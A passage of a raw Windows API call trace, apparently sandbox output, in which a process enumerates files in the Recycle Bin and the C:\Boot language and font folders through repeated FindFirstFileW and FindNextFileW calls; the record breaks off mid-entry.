nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="winsxs", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67827cf3, ftCreationTime.dwHighDateTime=0x1c9ea0d, ftLastAccessTime.dwLowDateTime=0x67827cf3, ftLastAccessTime.dwHighDateTime=0x1c9ea0d, ftLastWriteTime.dwLowDateTime=0x6784de51, ftLastWriteTime.dwHighDateTime=0x1c9ea0d, nFileSizeHigh=0x0, nFileSizeLow=0x4d4e0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="WMSysPr9.prx", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="write.exe", cAlternateFileName="")) returned 1 [0063.513] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89802aba, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x89802aba, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xfeb14f80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="write.exe", cAlternateFileName="")) returned 0 [0063.513] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.513] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034d48) returned 1 [0063.513] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040000) returned 1 [0063.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-4219442223-4223814209-3835049652-1000\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.514] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.514] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0063.514] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f4e9560, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0063.514] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.514] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x203ff60) returned 1 [0063.514] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040010) returned 1 [0063.514] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.515] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.515] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.515] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.515] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034dd8) returned 1 [0063.515] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400a0) returned 1 [0063.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.516] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.516] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.516] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.516] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.516] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034e08) returned 1 [0063.516] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400b0) returned 1 [0063.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.517] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.517] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.517] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034e38) returned 1 [0063.517] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400c0) returned 1 [0063.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\el-GR\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.518] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.518] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.518] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.518] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.518] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034e68) returned 1 [0063.518] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400d0) returned 1 [0063.518] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\en-US\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.519] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.519] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.519] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.519] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034e98) returned 1 [0063.519] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400e0) returned 1 [0063.519] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\es-ES\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.520] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.520] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.520] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.520] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ec8) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20400f0) returned 1 [0063.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fi-FI\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.521] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.521] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.521] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.521] FindClose (in: hFindFile=0x72d2f0 | out: hFindFile=0x72d2f0) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2034ef8) returned 1 [0063.521] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2040100) returned 1 [0063.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\Fonts\\*", lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName=".", cAlternateFileName="")) returned 0x72d2f0 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="..", cAlternateFileName="")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0xa0000003, dwReserved1=0x7efde000, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0063.522] FindNextFileW (in: hFindFile=0x72d2f0, lpFindFileData=0x18fc0c | out: lpFindFileData=0x18fc0c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957426c0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x957426c0, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0xa0000003, dwReserved1=0x7efde000, 